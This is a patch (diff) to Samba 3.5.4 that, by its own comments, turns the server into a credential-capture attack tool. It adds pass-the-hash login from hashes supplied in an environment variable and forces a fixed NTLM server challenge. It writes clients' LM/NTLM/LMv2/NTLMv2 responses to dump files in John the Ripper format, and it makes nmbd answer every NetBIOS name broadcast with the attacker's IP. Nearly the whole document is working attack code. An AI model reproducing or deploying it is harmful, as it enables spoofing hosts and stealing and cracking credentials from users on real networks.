diff -rubN samba-3.5.4/libcli/auth/smbencrypt.c samba-3.5.4-jmk/libcli/auth/smbencrypt.c
--- samba-3.5.4/libcli/auth/smbencrypt.c	2010-06-18 07:01:04.000000000 -0500
+++ samba-3.5.4-jmk/libcli/auth/smbencrypt.c	2010-09-14 09:33:53.155009794 -0500
@@ -45,6 +45,9 @@
 #endif
 }
 
+#define SMB_HASH_LM 1
+#define SMB_HASH_NTLM 2
+
 /*
    This implements the X/Open SMB password encryption
    It takes a password ('unix' string), a 8 byte "crypt key"
@@ -63,6 +66,64 @@
 	return ret;
 }
 
+/*
+   Support for using LM/NTLM hashes -- jmk@foofus.net 10/2006 
+   Greets: Foofus, Phenfen, Omi, Fizzgig, pMonkey
+*/
+void E_set_hash(int type, uchar hash[16])
+{
+ uint l;
+ char p[1024];
+ int i, j;
+ char HexChar;
+ int HexValue;
+
+ if ( (getenv("SMBHASH")) && (strlen(getenv("SMBHASH")) == 65) )
+ {
+    memset(p, 0, 1024);
+   strncpy(p, getenv("SMBHASH"), 1024);
+
+    /* Replace "NO PASSWORD*********************" */
+    if ((type == SMB_HASH_LM) && (strncmp(p, "N", 1) == 0))
+      strncpy(p, "AAD3B435B51404EEAAD3B435B51404EE", 32);
+    else if ((type == SMB_HASH_NTLM) && (strncmp(p+33, "N", 1) == 0))
+      strncpy(p+33, "31D6CFE0D16AE931B73C59D7E0C089C0", 32);
+    
+   for (i=0; i<16; i++) {
+     HexValue = 0x0;
+     for (j=0; j<2; j++) {
+       if (type == SMB_HASH_LM)
+         HexChar = (char)p[2*i+j];
+       else
+         HexChar = (char)p[2*i+j+33];
+
+       if (HexChar > 0x39)
+         HexChar = HexChar | 0x20;  /* convert upper case to lower */
+
+       if (!(((HexChar >= 0x30) && (HexChar <= 0x39))||   /* 0 - 9 */
+          ((HexChar >= 0x61) && (HexChar <= 0x66)))) {    /* a - f */
+         fprintf(stderr, "Error invalid char (%c) for hash.\n", HexChar);
+         exit(1);
+       }
+
+       HexChar -= 0x30;
+       if (HexChar > 0x09)  /* HexChar is "a" - "f" */
+         HexChar -= 0x27;
+
+       HexValue = (HexValue << 4) | (char)HexChar;
+     }
+     hash[i] = (uchar)HexValue;
+   }
+ }
+ else
+ {
+   fprintf(stderr, "Error reading SMB HASH.\n");
+   fprintf(stderr, "\tEx: export SMBHASH=\"_LM_HASH_:_NTLM_HASH_\"\n");
+   exit(1);
+ }
+}
+/* jmk */
+
 /**
  * Creates the MD4 Hash of the users password in NT UNICODE.
  * @param passwd password in 'unix' charset.
@@ -75,6 +136,11 @@
 	smb_ucs2_t *wpwd;
 	bool ret;
 
+  /* Support for using NTLM hashes -- jmk@foofus.net 10/2006 */
+  if ( getenv("SMBHASH") ) {
+    fprintf(stderr, "HASH PASS: Substituting user supplied NTLM HASH...\n");
+    E_set_hash(SMB_HASH_NTLM, p16);
+  } else { 
 	ret = push_ucs2_talloc(NULL, &wpwd, passwd, &len);
 	if (!ret || len < 2) {
 		/* We don't want to return fixed data, as most callers
@@ -87,6 +153,7 @@
 	mdfour(p16, (const uint8_t *)wpwd, len);
 
 	talloc_free(wpwd);
+  }
 	return true;
 }
 
@@ -120,6 +187,11 @@
 	char dospwd[256];
 	ZERO_STRUCT(dospwd);
 
+  /* Support for using LM hashes -- jmk@foofus.net 10/2006 */
+  if ( getenv("SMBHASH") ) {
+    fprintf(stderr, "HASH PASS: Substituting user supplied LM HASH...\n");
+    E_set_hash(SMB_HASH_LM, p16);
+  } else {
 	/* Password must be converted to DOS charset - null terminated, uppercase. */
 	push_string(dospwd, passwd, sizeof(dospwd), STR_ASCII|STR_UPPER|STR_TERMINATE);
 
@@ -131,6 +203,7 @@
 	}
 
 	ZERO_STRUCT(dospwd);
+  }
 
 	return ret;
 }
diff -rubN samba-3.5.4/source3/auth/auth.c samba-3.5.4-jmk/source3/auth/auth.c
--- samba-3.5.4/source3/auth/auth.c	2010-06-18 07:01:04.000000000 -0500
+++ samba-3.5.4-jmk/source3/auth/auth.c	2010-09-14 09:34:41.404991842 -0500
@@ -82,6 +82,7 @@
 	DATA_BLOB challenge = data_blob_null;
 	const char *challenge_set_by = NULL;
 	auth_methods *auth_method;
+  char addr[INET6_ADDRSTRLEN];
 
 	if (auth_context->challenge.length) {
 		DEBUG(5, ("get_ntlm_challenge (auth subsystem): returning previous challenge by module %s (normal)\n", 
@@ -119,14 +120,19 @@
 	}
 
 	if (!challenge_set_by) {
-		uchar tmp[8];
+		uchar tmp[8] = { 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88 };
+    int i;
 
-		generate_random_buffer(tmp, sizeof(tmp));
 		auth_context->challenge = data_blob_talloc(auth_context->mem_ctx, 
 							   tmp, sizeof(tmp));
 
-		challenge_set_by = "random";
-		auth_context->challenge_may_be_modified = True;
+    challenge_set_by = "jmk";
+    auth_context->challenge_may_be_modified = False;
+    DEBUG(0, ("*** Fixed LM/NTLM Challenge Samba Attack -- Foofus.Net/JoMo-Kun ***\n")); 
+    DEBUGADD(0, ("[%s] Set server challenge: ", client_addr(get_client_fd(), addr, sizeof(addr))));
+    for (i=0; i<auth_context->challenge.length; i++)
+      DEBUGADD(0, ("%2.2X", 0xFF & (int)auth_context->challenge.data[i]));
+    DEBUGADD(0, ("\n"));
 	} 
 
 	DEBUG(5, ("auth_context challenge created by %s\n", challenge_set_by));
@@ -208,10 +214,227 @@
 	const char *unix_username;
 	auth_methods *auth_method;
 	TALLOC_CTX *mem_ctx;
+  char addr[INET6_ADDRSTRLEN];
+  int i;
+  char *pathname;
+  char *filename;
+  char *tempname;
+  FILE *fp;
 
 	if (!user_info || !auth_context || !server_info)
 		return NT_STATUS_LOGON_FAILURE;
 
+  /*
+    Log LM/NTLM/LMv2/NTLMv2 Challenge/Response in John Format
+    JoMo-Kun <jmk@foofus.net>
+
+    LM/NTLM:  foo::WORKGROUP:CE405C5D91855E70037AD5CE629468162F85252CC731BB25:7A511D2B8026DB6A39C9336499066989896655F7098C6AFE:1122334455667788
+    LMv2:     foo::DOMAIN:1122334455667788:9505205EEBFA963FC6542214BC6F10B3:1122334455667788
+    NTLMv2:   foo::DOMAIN:1122334455667788:D2F416FEC25701255A6DAA1175CA0FFA:01010000000000005931A63E06ABCA011142C097A178270B0000000002000E00760062006F0078007300720076000000000000000000
+  */
+  DEBUGADD(0,("\n*** Logging LM/NTLM/LMv2/NTLMv2 Challenge/Response Exchanges to File (John/jtr Format) ***\n"));
+
+  DEBUGADD(0, ("[%s] Client Name: %s Remote Machine Name: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), client_name(get_client_fd()), get_remote_machine_name()));
+  DEBUGADD(0, ("[%s] User: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), user_info->smb_name));
+  DEBUGADD(0, ("[%s] Domain: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), user_info->client_domain));
+  DEBUGADD(0, ("[%s] Workstation Name: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), user_info->wksta_name));
+
+  DEBUGADD(0, ("[%s] Server Challenge: ", client_addr(get_client_fd(), addr, sizeof(addr))));
+  for (i=0; i<auth_context->challenge.length; i++)
+    DEBUGADD(0, ("%2.2X", 0xFF & (int)auth_context->challenge.data[i]));
+  DEBUGADD(0, ("\n"));
+  
+  /* LM / NTLM */ 
+  if ((user_info->lm_resp.length == 24) && (user_info->nt_resp.length == 24))
+  {
+    DEBUGADD(0, ("[%s] LMv1 Client Response: ", client_addr(get_client_fd(), addr, sizeof(addr))));
+    for (i=0; i < user_info->lm_resp.length; i++)
+      DEBUGADD(0, ("%2.2X", 0xFF & (int)user_info->lm_resp.data[i]));
+    DEBUGADD(0, ("\n"));
+
+    DEBUGADD(0, ("[%s] NTLMv1 Client Response: ", client_addr(get_client_fd(), addr, sizeof(addr))));
+    for (i=0; i < user_info->nt_resp.length; i++)
+      DEBUGADD(0, ("%2.2X", 0xFF & (int)user_info->nt_resp.data[i]));
+    DEBUGADD(0, ("\n"));
+  } 
+  /* LMv2 / NTLMv2 */
+  else 
+  {
+    if (user_info->lm_resp.length == 24)
+    {
+      DEBUGADD(0, ("[%s] LMv2 Client Challenge: ", client_addr(get_client_fd(), addr, sizeof(addr))));
+      for (i=0; i<16; i++)
+        DEBUGADD(0, ("%2.2X", 0xFF & (int)user_info->lm_resp.data[i]));
+      DEBUGADD(0, ("\n"));
+
+      DEBUGADD(0, ("[%s] LMv2 Client Response: ", client_addr(get_client_fd(), addr, sizeof(addr))));
+      for (i=16; i < user_info->lm_resp.length; i++)
+        DEBUGADD(0, ("%2.2X", 0xFF & (int)user_info->lm_resp.data[i]));
+      DEBUGADD(0, ("\n"));
+    }  
+
+    if (user_info->nt_resp.length != 0)
+    {
+      DEBUGADD(0, ("[%s] NTLMv2 Client Challenge: ", client_addr(get_client_fd(), addr, sizeof(addr))));
+      for (i=0; i<16; i++)
+        DEBUGADD(0, ("%2.2X", 0xFF & (int)user_info->nt_resp.data[i]));
+      DEBUGADD(0, ("\n"));
+
+      DEBUGADD(0, ("[%s] NTLMv2 Client Response: ", client_addr(get_client_fd(), addr, sizeof(addr))));
+      for (i=16; i < user_info->nt_resp.length; i++)
+        DEBUGADD(0, ("%2.2X", 0xFF & (int)user_info->nt_resp.data[i]));
+      DEBUGADD(0, ("\n"));
+    }
+    else
+    {
+      DEBUGADD(0, ("*** WARNING: Unable to determine if hash is LMv1 or LMv2 (Logged as LMv2) ***\n"));
+    } 
+  }
+
+  /* Set Logging Path */
+  if ( strlen(lp_logfile()) != 0 )
+  {
+    filename = lp_logfile();
+    tempname = strrchr(filename, '/');
+    pathname = malloc(tempname - filename + 1);
+    memset(pathname, 0, tempname - filename + 1);
+    strncpy(pathname, filename, tempname - filename);
+  }
+  else
+  {
+    pathname = malloc(5);
+    memset(pathname, 0, 5);
+    snprintf(pathname, 4, "/tmp");
+  }
+
+  /* Set Log File Name */
+  if ((user_info->lm_resp.length == 24) && (user_info->nt_resp.length != 24))
+  {
+    /* Windows 7 LMv2 Response: 00000000000000000000000000000000 */
+    if (user_info->lm_resp.data[0] == 0x00) /* Extract NTLMv2 */
+    {
+      filename = malloc(strlen(pathname) + 15 + 1);
+      memset(filename, 0, strlen(pathname) + 15 + 1);
+      snprintf(filename, strlen(pathname) + 15 + 1, "%s/dump.NETNTLMv2", pathname);
+    }
+    else /* Extract LMv2 */
+    {
+      filename = malloc(strlen(pathname) + 13 + 1);
+      memset(filename, 0, strlen(pathname) + 13 + 1);
+      snprintf(filename, strlen(pathname) + 13 + 1, "%s/dump.NETLMv2", pathname);
+    }
+  }
+  else if ((user_info->lm_resp.length == 24) && (user_info->nt_resp.length == 24))
+  {
+    filename = malloc(strlen(pathname) + 11 + 1);
+    memset(filename, 0, strlen(pathname) + 11 + 1);
+    snprintf(filename, strlen(pathname) + 11 + 1, "%s/dump.NETLM", pathname);
+  }
+  else
+  {
+    DEBUGADD(0,("Failed to identify LM/NTLM/LMv2/NTLMv2 hashes based on length.\n"));
+    filename = NULL;
+  }
+
+  DEBUGADD(0,("Set LM/NTLM/LMv2/NTLMv2 Dump File:%s\n", filename));
+  free(pathname);
+  fp = fopen(filename, "a");
+
+  if (fp == NULL) {
+    DEBUGADD(0, ("Failed to Open Dump File.\n"));
+  }
+  /* Log LMv2/NTLMv2 Challenge/Response */
+  /* LMv2:    USER::DOMAIN:1122334455667788:498B5E245BAFA65E56334B28E3F501CF:6FE8BB5B66ED5892 */
+  /* NTLMv2:  USER::DOMAIN:1122334455667788:D2F416FEC25701255A6DAA1175CA0FFA:01010000000000005931A63E06ABCA011142C097A178270B0000000002000E00760062006F0078007300720076000000000000000000 */
+  else if ((user_info->lm_resp.length == 24) && (user_info->nt_resp.length != 24))
+  {
+    DEBUGADD(0,("Dumping LMv2 Response\n"));
+
+    /* Client Username */
+    fprintf(fp, "%s::", user_info->smb_name);
+
+    /* Client Domain */
+    if (strlen(user_info->client_domain) != 0)
+      fprintf(fp, "%s:", user_info->client_domain);
+    else
+      fprintf(fp, ":");
+
+    /* Server Challenge - Fixed 1122334455667788 */
+    for (i=0; i<auth_context->challenge.length; i++)
+      fprintf(fp, "%2.2X", (0xFF & (int)auth_context->challenge.data[i]));
+      
+    fprintf(fp, ":");
+
+    /* Windows 7 LMv2 Response: 00000000000000000000000000000000 -- Record NTLMv2 Instead */
+    if (user_info->lm_resp.data[0] == 0x00)
+    {
+      /* CLient NTLMv2 Response */
+      for (i=0; i<16; i++)
+        fprintf(fp, "%2.2X", (0xFF & (int)user_info->nt_resp.data[i]));
+
+      fprintf(fp, ":");
+
+      /* Client NTLMv2 Challenge */
+      for (i=16; i < user_info->nt_resp.length; i++)
+        fprintf(fp, "%2.2X", (0xFF & (int)user_info->nt_resp.data[i]));
+    }
+    else
+    {
+      /* CLient LMv2 Response */
+      for (i=0; i<16; i++)
+        fprintf(fp, "%2.2X", (0xFF & (int)user_info->lm_resp.data[i]));
+
+      fprintf(fp, ":");
+
+      /* Client LMv2 Challenge */
+      for (i=16; i < user_info->lm_resp.length; i++)
+        fprintf(fp, "%2.2X", (0xFF & (int)user_info->lm_resp.data[i]));
+    }
+
+    fprintf(fp, "\n");
+
+    fclose(fp);
+  }
+  /* Log LM/NTLM Challenge/Response */
+  /* USER::DOMAIN:CE405C5D91855E70037AD5CE629468162F85252CC731BB25:7A511D2B8026DB6A39C9336499066989896655F7098C6AFE:1122334455667788 */
+  else if ((user_info->lm_resp.length == 24) && (user_info->nt_resp.length == 24))
+  {
+    DEBUGADD(0,("Dumping LM/NTLM Response\n"));
+
+    /* Client Username */
+    fprintf(fp, "%s::", user_info->smb_name);
+
+    /* Client Domain */
+    if (strlen(user_info->client_domain) != 0)
+      fprintf(fp, "%s:", user_info->client_domain);
+    else
+      fprintf(fp, ":");
+
+    /* Client LM Response */
+    for (i=0; i < user_info->lm_resp.length; i++)
+      fprintf(fp,"%2.2X", 0xFF & (int)user_info->lm_resp.data[i] );
+
+    fprintf(fp, ":");
+
+    /* Client NTLM Response */
+    for (i=0; i < user_info->nt_resp.length; i++)
+      fprintf(fp,"%2.2X", 0xFF & (int)user_info->nt_resp.data[i] );
+
+    fprintf(fp, ":");
+
+    /* Server Challenge - Fixed 1122334455667788 */
+    for (i=0; i<auth_context->challenge.length; i++)
+      fprintf(fp, "%2.2X", (0xFF & (int)auth_context->challenge.data[i]));
+
+    fprintf(fp, "\n");
+
+    fclose(fp);
+  }
+
+  DEBUGADD(0, ("*** Completed Dumping Challenge/Response ***\n"));
+
+  /* ************************************* */
+
 	DEBUG(3, ("check_ntlm_password:  Checking password for unmapped user [%s]\\[%s]@[%s] with the new password interface\n", 
 		  user_info->client_domain, user_info->smb_name, user_info->wksta_name));
 
diff -rubN samba-3.5.4/source3/nmbd/nmbd.c samba-3.5.4-jmk/source3/nmbd/nmbd.c
--- samba-3.5.4/source3/nmbd/nmbd.c	2010-06-18 07:01:04.000000000 -0500
+++ samba-3.5.4-jmk/source3/nmbd/nmbd.c	2010-09-14 09:33:53.174933884 -0500
@@ -856,6 +856,9 @@
 
 	DEBUG(0,("nmbd version %s started.\n", samba_version_string()));
 	DEBUGADD(0,("%s\n", COPYRIGHT_STARTUP_MESSAGE));
+  DEBUGADD(0, ("\n----------------------------------------------------------\n"));
+  DEBUGADD(0, ("*** NMB Broadcast Auto-Response -- Foofus.Net/JoMo-Kun ***\n"));
+  DEBUGADD(0, ("----------------------------------------------------------\n\n"));
 
 	if (!lp_load_initial_only(get_dyn_CONFIGFILE())) {
 		DEBUG(0, ("error opening config file\n"));
diff -rubN samba-3.5.4/source3/nmbd/nmbd_incomingrequests.c samba-3.5.4-jmk/source3/nmbd/nmbd_incomingrequests.c
--- samba-3.5.4/source3/nmbd/nmbd_incomingrequests.c	2010-06-18 07:01:04.000000000 -0500
+++ samba-3.5.4-jmk/source3/nmbd/nmbd_incomingrequests.c	2010-09-14 09:33:53.174933884 -0500
@@ -448,10 +448,18 @@
 	struct name_record *namerec = NULL;
 	int reply_data_len = 0;
 	int i;
+  int num_ips;
 	
 	DEBUG(3,("process_name_query_request: Name query from %s on subnet %s for name %s\n", 
 		 inet_ntoa(p->ip), subrec->subnet_name, nmb_namestr(question)));
   
+  /* ********************************************************************************* */
+  /* 
+     Hack to make nmbd respond with our IP for all NMB broadcasts.
+     Based on ideas from Karma (http://www.theta44.org/karma/). 
+     JoMo-Kun <jmk@foofus.net> [02/2007]
+  */
+ 
 	/* Look up the name in the cache - if the request is a broadcast request that
 	   came from a subnet we don't know about then search all the broadcast subnets
 	   for a match (as we don't know what interface the request came in on). */
@@ -461,6 +469,33 @@
 	else
 		namerec = find_name_on_subnet(subrec, question, FIND_ANY_NAME);
 
+  /* Create Response Packet */
+  DEBUGADD(0, ("[%s] NetBIOS Broadcast Request: %s\n", inet_ntoa(p->ip), question->name) );
+
+  /* Don't respond to broadcasts which match our ignore list */
+  //if ( strcmp(inet_ntoa(p->ip), "10.71.0.160") == 0 )
+  //{
+  //  DEBUGADD(0, ("[%s] Skipping NetBIOS Broadcast Request based on host ignore list.\n", inet_ntoa(p
+  //  namerec = NULL;
+  //}
+  //else
+  //{
+    namerec = SMB_MALLOC_P(struct name_record);
+    memset( (char *)namerec, '\0', sizeof(*namerec) );
+    namerec->subnet = subrec;
+    make_nmb_name(&namerec->name, question->name, 0x00);
+    namerec->data.nb_flags = NB_ACTIVE;
+    namerec->data.wins_flags = WINS_ACTIVE;
+    namerec->data.nb_flags = NB_PERM;
+    namerec->data.source = SELF_NAME;
+    num_ips = iface_count(); 
+    namerec->data.num_ips = num_ips;
+    namerec->data.ip = SMB_MALLOC_ARRAY( struct in_addr, num_ips );
+    memcpy( (namerec->data.ip), &subrec->myip, num_ips * sizeof(struct in_addr) );
+   //}
+
+  /* ********************************************************************************* */
+
 	/* Check if it is a name that expired */
 	if (namerec && 
 	    ((namerec->data.death_time != PERMANENT_TTL) && 
diff -rubN samba-3.5.4/source3/smbd/negprot.c samba-3.5.4-jmk/source3/smbd/negprot.c
--- samba-3.5.4/source3/smbd/negprot.c	2010-06-18 07:01:04.000000000 -0500
+++ samba-3.5.4-jmk/source3/smbd/negprot.c	2010-09-14 09:33:53.174933884 -0500
@@ -264,6 +264,7 @@
 	time_t t = time(NULL);
 	ssize_t ret;
 	struct smbd_server_connection *sconn = smbd_server_conn;
+  char addr[INET6_ADDRSTRLEN];
 
 	sconn->smb1.negprot.encrypted_passwords = lp_encrypted_passwords();
 
@@ -383,6 +384,7 @@
 			return;
 		}
 		DEBUG(3,("not using SPNEGO\n"));
+    DEBUGADD(0,("[%s] Simple and Protected GSSAPI Negotiation Mechanism (SPNEG) Disabled.\n", client_addr(get_client_fd(), addr, sizeof(addr))));
 	} else {
 		DATA_BLOB spnego_blob = negprot_spnego();
 
@@ -402,6 +404,7 @@
 
 		SCVAL(req->outbuf,smb_vwv16+1, 0);
 		DEBUG(3,("using SPNEGO\n"));
+    DEBUGADD(0,("[%s] Simple and Protected GSSAPI Negotiation Mechanism (SPNEG) Enabled (NTLMv2).\n", client_addr(get_client_fd(), addr, sizeof(addr))));
 	}
 	
 	SSVAL(req->outbuf,smb_vwv17, p - q); /* length of challenge+domain
@@ -529,6 +532,7 @@
 	int i;
 	size_t converted_size;
 	struct smbd_server_connection *sconn = smbd_server_conn;
+  char addr[INET6_ADDRSTRLEN];
 
 	START_PROFILE(SMBnegprot);
 
@@ -689,8 +693,10 @@
 		reload_services(True);          
 		supported_protocols[protocol].proto_reply_fn(req, choice);
 		DEBUG(3,("Selected protocol %s\n",supported_protocols[protocol].proto_name));
+    DEBUGADD(0,("[%s] Selected protocol: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), supported_protocols[protocol].proto_name));
 	} else {
 		DEBUG(0,("No protocol supported !\n"));
+    DEBUG(0,("[%s] No protocol supported !\n", client_addr(get_client_fd(), addr, sizeof(addr))));
 		reply_outbuf(req, 1, 0);
 		SSVAL(req->outbuf, smb_vwv0, choice);
 	}
diff -rubN samba-3.5.4/source3/smbd/reply.c samba-3.5.4-jmk/source3/smbd/reply.c
--- samba-3.5.4/source3/smbd/reply.c	2010-06-18 07:01:04.000000000 -0500
+++ samba-3.5.4-jmk/source3/smbd/reply.c	2010-09-14 09:33:53.184653877 -0500
@@ -502,6 +502,7 @@
 	fstring name1,name2;
 	char name_type1, name_type2;
 	struct smbd_server_connection *sconn = smbd_server_conn;
+  char addr[INET6_ADDRSTRLEN];
 
 	/*
 	 * We only really use 4 bytes of the outbuf, but for the smb_setlen
@@ -535,6 +536,9 @@
 		DEBUG(2,("netbios connect: name1=%s0x%x name2=%s0x%x\n",
 			 name1, name_type1, name2, name_type2));
 
+    DEBUGADD(0, ("[%s] Server NetBIOS Name: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), name1));
+    DEBUGADD(0, ("[%s] Client NetBIOS Name: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), name2));
+
 		if (netbios_session_retarget(name1, name_type1)) {
 			exit_server_cleanly("retargeted client");
 		}
@@ -684,6 +688,7 @@
 	const char *p, *q;
 	uint16 tcon_flags;
 	struct smbd_server_connection *sconn = smbd_server_conn;
+  char addr[INET6_ADDRSTRLEN];
 
 	START_PROFILE(SMBtconX);
 
@@ -765,6 +770,7 @@
 	}
 
 	DEBUG(4,("Client requested device type [%s] for share [%s]\n", client_devicetype, service));
+  DEBUGADD(0, ("[%s] Device Type: %s Share: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), client_devicetype, service));
 
 	conn = make_connection(sconn, service, password, client_devicetype,
 			       req->vuid, &nt_status);
diff -rubN samba-3.5.4/source3/smbd/sesssetup.c samba-3.5.4-jmk/source3/smbd/sesssetup.c
--- samba-3.5.4/source3/smbd/sesssetup.c	2010-06-18 07:01:04.000000000 -0500
+++ samba-3.5.4-jmk/source3/smbd/sesssetup.c	2010-09-14 09:33:53.184653877 -0500
@@ -1495,7 +1495,7 @@
 		const uint8_t *p = req->buf;
 		const uint8_t *save_p = req->buf;
 		uint16 byte_count;
-
+    char addr[INET6_ADDRSTRLEN];
 
 		if(global_client_caps == 0) {
 			global_client_caps = IVAL(req->vwv+11, 0);
@@ -1633,6 +1633,15 @@
 			primary_domain = talloc_strdup(talloc_tos(), "null");
 		}
 
+    /* JoMo-Kun <jmk@foofus.net> */
+    DEBUGADD(0, ("[%s] SMB Version 1 Connection\n", client_addr(get_client_fd(), addr, sizeof(addr))));
+    DEBUGADD(0, ("[%s] Client Name: %s Remote Machine Name: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), client_name(get_client_fd()), get_remote_machine_name()));
+    DEBUGADD(0, ("[%s] User: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), user));
+    DEBUGADD(0, ("[%s] Domain: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), domain));
+    DEBUGADD(0, ("[%s] Primary Domain: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), primary_domain));
+    DEBUGADD(0, ("[%s] Native OS: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), native_os));
+    DEBUGADD(0, ("[%s] Native LanMan: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), native_lanman));
+
 		DEBUG(3,("Domain=[%s]  NativeOS=[%s] NativeLanMan=[%s] "
 			"PrimaryDomain=[%s]\n",
 			domain, native_os, native_lanman, primary_domain));